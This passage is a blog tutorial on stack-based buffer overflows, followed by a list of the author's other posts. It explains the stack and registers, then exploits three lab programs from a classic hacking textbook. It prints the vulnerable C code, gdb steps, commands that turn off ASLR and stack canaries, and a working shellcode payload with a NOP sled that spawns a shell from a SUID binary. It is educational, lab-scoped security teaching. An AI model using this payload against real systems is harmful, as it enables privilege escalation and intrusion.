        .unwrap()
        .wait_with_output()
        .unwrap();
}

Stack-based buffer overflows

daniel orihuela — Fri, 20 Oct 2023 00:00:00 +0000

What’s a buffer overflow?
What’s the stack?
How to exploit stack based buffer overflows
- Overwrite local variable in stack frame
- Overwrite return address
- Get shell
How can we prevent buffer overflows?
Conclusion

What’s a buffer overflow?

Buffer overflows are a type of vulnerability where the attacker gives more data to a buffer than it can handle. As a result, the program overwrites adjacent memory locations with the exceeding data. Usually, the program will crash. However, a skilled hacker can take control of the program as it crashes and achieve incredible things, like access to a shell. Nowadays, there are some countermeasures in place. They make it much harder but not impossible. Especially if using languages like C or C++, that lets developers manage the memory.

There are two types of buffer overflows: stack-based and heap-based. In this post, we will talk about the first type.

What’s the stack?

Before jumping right into stack-based buffer overflows, we need to understand what a “stack” is in this context and how it works.

The stack is a region of memory reserved for each thread to store data. Each time you call a function, a stack frame is created where the arguments, the local variables and the return address are stored in a Last Input First Output (LIFO) manner. Once it finishes, the program “removes” the stack frame from the stack and resumes the execution of the caller thanks to the return address. Now, on the top of the stack, we have the stack frame from the resumed function. The program is ready to go.

Stack example:

Great! We understand the basis of how the stack works at a high level. However, we still need to know the low-level details of that process if we want to exploit it. So, what’s actually happening? How does the computer know which instruction to execute? How does the computer know how to resume the execution of the caller function? How does it create and remove the stack frame? That’s all due to registers. The CPU of a computer use different registers to store data, transfer data, store instructions, … We are interested in the Extended Instruction Pointer (EIP), which stores the memory address of the next instruction to execute; the Extended Stack Pointer (ESP), which points to the top of the stack frame; and the Extended Base Pointer (EBP), which points to the bottom of the stack frame. Whenever we call a function, the EBP will store the actual ESP. The end of the caller function stack frame is the beginning of the called function stack frame. Pushing data to the stack will increase the ESP. The EIP will point to the next instruction to execute. Once we reach the return statement, the ESP will be equal to EBP (removing the stack frame) and the EIP will be equal to the return address. The process is much more complex than that. For instance, I’m not explaining how the EBP is restored. I encourage you to do some further research about the topic. I don’t think we need more for that post.

We should have a clear idea of how stack frames work and some lower details. We are ready to exploit some programs.

How to exploit stack based buffer overflows

Relevant system information:

Linux 5.15.0-86-generic x86_64
Intel(R) Core(TM) i7-10510U CPU
Little Endian
48 bits address size

All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. They may contain modification to use in modern machines. You can get the original source codehttps://github.com/intere/hacking/blob/master/booksrc.

Overwrite local variable in stack frame

Let’s start with the auth_overflow.c.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
  int auth_flag = 0;
  char password_buffer[16];

  strcpy(password_buffer, password);

  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf(" Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}

The program is simple. It receives a password. If it’s equal to “brillig” or “outgrabe” we will see the message “Access Granted”, otherwise, we will see “Access Denied”. With a buffer overflow, we can get the “Access Granted” message even when the password is invalid.

The error is inside the check_authentication function, which copies the password data to the password_buffer without checking the length. Notice that the password_buffer can hold a maximum of 16 bytes. In other words, the program will reserve 16 bytes in the stack for that variable. Nevertheless, the data behind the password pointer can hold a larger array of characters. The idea here is to give the program a password longer than 16 bytes so that when the data is copied into the password_buffer, the extra bytes overwrite the auth_flag. That’s the boolean that decides the message to be shown. If we can control it, we can control the printed message. Remember that the stack frame is a LIFO. Hence, the password_buffer will be on top of theauth_flag.

Let’s compile the program and execute it with a bigger password than expected.

gcc auth_overflow.c -o auth_overflow
./auth_overflow "password"

I’ve tried with several lengths. With 25 characters, the program fails.

There’s something curious, though. The function variables only take 20 bytes, 16 for the password_buffer and 4 for the auth_flag, but we need 25 bytes to make it fail. I did some research, and it seems like it could be related to some padding that the compiler or the system is adding between variables. In any case, the program is failing with “stack smashing”. That tells us that the compiler detected the buffer overflow attack and stoped the execution. Current versions of GCC use “canaries” to detect buffer overflows. It adds some data in the stack frame at the beginning of the function and expects that it remains unchanged when exiting it. Let’s disable that for our learning.

gcc auth_overflow.c -o auth_overflow -fno-stack-protector

With canaries disabled, let’s see how many bytes are between thepassword_buffer and the auth_flag. That will tell us the password length needed to overwrite the auth_flag. For that, we can use gdb. It’s only a matter of placing a breakpoint inside the vulnerable function and checking the memory addresses.

gcc auth_overflow.c -o auth_overflow -fno-stack-protector -g # -g option adds debug symbols
gdb ./auth_overflow

There are 28 bytes between the two variables. That means that we need a password with 29 characters. The first 28 to fill the space between the variables, and the last one to overwrite the auth_flag. We need it to be different to 0. For example, “a” should overwrite the auth_flagvalue with its ASCII decimal value (97). We can see that in action by placing a couple of breakpoints. One before the strcpy and one after.

That’s it! We got the “Access Granted” message.

Overwrite return address

The first example is limited, right? We can do something interesting only if the variable we want to overwrite is stored in the stack before the one we are using to exploit it. What could we do if the variable is not there or appears after? The idea in that situation is to overwrite the return address.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
  char password_buffer[16];

  strcpy(password_buffer, password);

  int auth_flag = 0;
  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf(" Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}

First, compile it without security protections and debug symbols. Here we added the no-pie option. PIE stands for Position Independent Executable. If enabled, the executable will be loaded in a different memory address every time.

gcc auth_overflow2.c -o auth_overflow2 -fno-stack-protector -no-pie -g

Now, where is the return address? How can we overwrite it? As in the first example, gdb is our friend. We can put a breakpoint insidecheck_authentication, run and execute info frame. The rip register contains the return address.

At this point, it’s a matter of trying several passwords until we find the number of bytes till the rip register. Same procedure as in the first example. Writing a password with 40 “a” and 3 “b” will overwrite the rip with the ASCII value of “bbb” (0x626262).

That’s cool, but we want to overwrite the rip to change the code flow and show us the “Access Granted” message. We can disassemble the main function to see where the print functions are and get the memory address for the first print. The +86 memory address points to the conditional before the prints. We can take the next address. If PIE was enabled, this wouldn’t be that easy. The address would change every time we run it.

Replacing “bbb” with “\x{=latex}7f\x12{=latex}\x40{=latex}” gives us the “Access Granted” message. We add the memory address in reverse because my machine uses Little Endian.

Get shell

The second example was a bit more interesting, but still limited. In this final example, we are going to see how to get access to a shell.

We have two small programs. The first program creates notes in “/var/notes”. root must own the executable and have the SUID activated. That way, we can execute it with normal users as if it was root.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename)
{
  printf("Usage: %s <data to add to %s>\n", prog_name, filename);
  exit(0);
}

void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[])
{
  int userid, fd; // File descriptor
  char *buffer, *datafile;

  buffer = (char *)ec_malloc(100);
  datafile = (char *)ec_malloc(20);
  strcpy(datafile, "/var/notes");

  if (argc < 2) // If there aren't command-line arguments,
    usage(argv[0], datafile); // display usage message and exit.

  strcpy(buffer, argv[1]); // Copy into buffer.

  printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
  printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

  // Opening the file
  fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
  if (fd == -1)
    fatal("in main() while opening file");
  printf("[DEBUG] file descriptor is %d\n", fd);

  userid = getuid(); // Get the real user ID.

  // Writing data
  if (write(fd, &userid, 4) == -1) // Write user ID before note data.
    fatal("in main() while writing userid to file");
  write(fd, "\n", 1); // Terminate line.
  if (write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal("in main() while writing buffer to file");

  write(fd, "\n", 1); // Terminate line.
  // Closing file
  if (close(fd) == -1)
    fatal("in main() while closing file");
  printf("Note has been saved.\n");
  free(buffer);
  free(datafile);
}

gcc notetaker.c -o notetaker -g
sudo chown root:root notetaker
sudo chmod u+s notetaker
./notetaker "example message"

The second program, the vulnerable one, is used to search notes for the current user. Optionally, we can show only the messages that contain a specific string.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler

int main(int argc, char *argv[])
{
  int userid, printing = 1, fd; // File descriptor
  char searchstring[100];
  if (argc > 1) // If there is an arg,
    strcpy(searchstring, argv[1]); // that is the search string;
  else // otherwise,
    searchstring[0] = 0; // search string is empty.
  userid = getuid();
  fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
  if (fd == -1)
    fatal("in main() while opening file for reading");
  printf("%i", printing);
  while (printing)
    printing = print_notes(fd, userid, searchstring);
  printf("-------[end of note data]-------\n");
  close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring)
{
  int note_length;
  char byte = 0, note_buffer[100];
  note_length = find_user_note(fd, uid);
  if (note_length == -1) // If end of file reached,
    return 0; // return 0.
  read(fd, note_buffer, note_length); // Read note data.
  note_buffer[note_length] = 0; // Terminate the string.
  if (search_note(note_buffer, searchstring)) // If searchstring found,
    printf(note_buffer); // print the note.
  return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid)
{
  int note_uid = -1;
  unsigned char byte;
  int length;
  while (note_uid != user_uid)
    { // Loop until a note for user_uid is found.
      if (read(fd, &note_uid, 4) != 4) // Read the uid data.
        return -1; // If 4 bytes aren't read, return end of file code.
      if (read(fd, &byte, 1) != 1) // Read the newline separator.
        return -1;
      byte = length = 0;
      while (byte != '\n')
        { // Figure out how many bytes to the end of line.
          if (read(fd, &byte, 1) != 1) // Read a single byte.
            return -1; // If byte isn't read, return end of file code.
          length++;
        }
    }
  lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
  printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
  return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword)
{
  int i, keyword_length, match = 0;
  keyword_length = strlen(keyword);
  if (keyword_length == 0) // If there is no search string,
    return 1; // always "match".
  for (i = 0; i < strlen(note); i++)
    { // Iterate over bytes in note.
      if (note[i] == keyword[match]) // If byte matches keyword,
        match++; // get ready to check the next byte;
      else
        { // otherwise,
          if (note[i] == keyword[0]) // if that byte matches first keyword byte,
            match = 1; // start the match count at 1.
          else
            match = 0; // Otherwise it is zero.
        }
      if (match == keyword_length) // If there is a full match,
        return 1; // return matched.
    }
  return 0; // Return not matched.
}

gcc notesearch.c -o notesearch -fno-stack-protector -no-pie -g
sudo chown root:root notesearch
sudo chmod u+s notesearch
./notesearch "example"

We need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

You may be wondering if ASLR and PIE do the same. Both disable the randomization of memory addresses for executables. That’s true. However, they randomize different things. ASLR is a kernel protection feature, and it has three levels in Linux:

Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter (in Linux).
Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

PIE is a binary protection feature that places the “code segment”, the “global offset table” and their “procedure linkage table” at random locations.

The last security protection we need to disable is the NX bit. That will make the stack executable. In other words, we will be able to execute the shellcode.

Let’s take a step back. Where is the vulnerability? The notetaker mainfunction calls strcpy. Again, there’s no control over the length of the copied data. The high-level idea is the same as in the last exercise. We want to overwrite the return address to take control of the flow. The way to find it is the same. However, the payload is structured differently. We aren’t going to send a bunch of “a” followed by a memory address in the executable. We want to build a payload that looks like: “NOP sled, shellcode, some more NOP operations, NOP sled address”. Let me explain each part.

First, we have the “NOP sled”. A NOP is a no-operation instruction that CPUs include for timing purposes, among other things. In our case, we use them to force the computer to slide into the shellcode we introduced in the stack. Theoretically, you could do it without the aid of a “NOP sled”, but it becomes much harder. You will have problems with memory alignment and other low-level stuff that I lack knowledge of. Moreover, the compiler is picky and won’t allow you to execute the shellcode from whatever memory address you want.

Then, we have the shellcode. A small piece of code built in assembler to execute some code. In that example, to give us access to a shell.

Following the shellcode, we find some more NOP operations. Sometimes, shellcodes need to write some bytes after themselves. The compiler can complain about that. These NOP operations will help us.

The last part is the return address. We will overwrite it with a memory address where the NOP sled is located.

That’s it for the structure. Coming back to the exploit, on my first try I used a “NOP sled, shellcode, NOP sled address” structure. It didn’t work for multiple reasons. NX bit wasn’t disabled and ASLR wasn’t disabled.

After disabling them, the issue was creating the correct payload. Sometimes, the execution failed with a SEGFAULT and sometimes with a SIGILL. Trying a myriad of different payload structures and lengths for the NOP operations, I finally crafted a payload that worked using gdb.

This payload doesn’t work outside gdb. The environment in which we execute the exploit can modify the position of the variables in the stack. For example, the environment variables used on gdb differ from the ones on the shell. To circumvent that issue, we can pass the environment variables to gdb.

env gdb notesearch

The path from where you execute the exploit is also relevant../notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"')didn’t work for me, while~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"')worked.

That’s it!!! We got our shell. In theory, we should get root access due to the SUID permissions. However, some shells now throw SUID permissions when spawning new shells from a process with SUID to avoid this kind of attacks. More stuff to learn in the future!

How can we prevent buffer overflows?

DON’T COPY DATA WITHOUT CHECKING THE LENGTH!

Most people forget to do that, so luckily, there are some security features that mitigate the attack. We have seen a some of them during the exercise: canaries, PIE, ASLR or NX bit.

Conclusion

Now we know what a stack based buffer overflow is, why it works, how to exploit it and some protections mechanisms. We don’t have an execuse to avoid them.

DEV Community: daniel orihuela

Cryptopals: ECB cut and paste

Table of Contents

Setup

ECB cut and paste

Detect cipher mode and metadata

Isolate role value

Craft ciphertext block

Replace ciphertext block

Code

Conclusion

Cryptopals: Break an ECB encrypted message (hard)

Break ECB mode (hard level)

Find the block size

Check if oracle is using ECB mode

Find the prefix length

Break the first byte

Break the following bytes

Code

Conclusion

Cryptopals: Break an ECB encrypted message (easy)

ECB block cipher mode

Break ECB mode (easy level)

Find the block size

Check if oracle is using ECB mode

Break the first byte

Break the following bytes

Code

Conclusion

Cryptopals: Break a repeating-key XOR message

XOR Cipher

Break XOR cipher with frequency analysis

Find key length

Group ciphertext bytes by key byte used to encrypt

Get the key character for each group

Code

Conclusion

Write your own shellcode

What’s a shellcode?

Building a shellcode

Hello world assembly

No segments

No null bytes

Jump to the end and back

Use smaller registers

Experiment with shellcode injection

Skip List (in Rust) explained!

What’s a Skip List?

Search

Insert

Delete

Rust implementation

Basic structure

Search

Insert

Delete

Format string vulnerability

What’s a format string vulnerability?

What’s the problem?

Format String vulnerability demo

Write to memory address

Write arbitrary bytes to memory address

Direct access and short writes

Overwrite Global Offset Table to get a shell

Conclusion

How does Key Transparency work?

Context

What’s Key Transparency?

How does it work (CONIKS)?

Data Structures

Merkle Tree

User identifier to Public Key map

Protocol phases

Registration phase

Lookup phase

Monitoring phase

Cross verification phase

Some thoughts

How does it work (WhatsApp)?

Protocol phases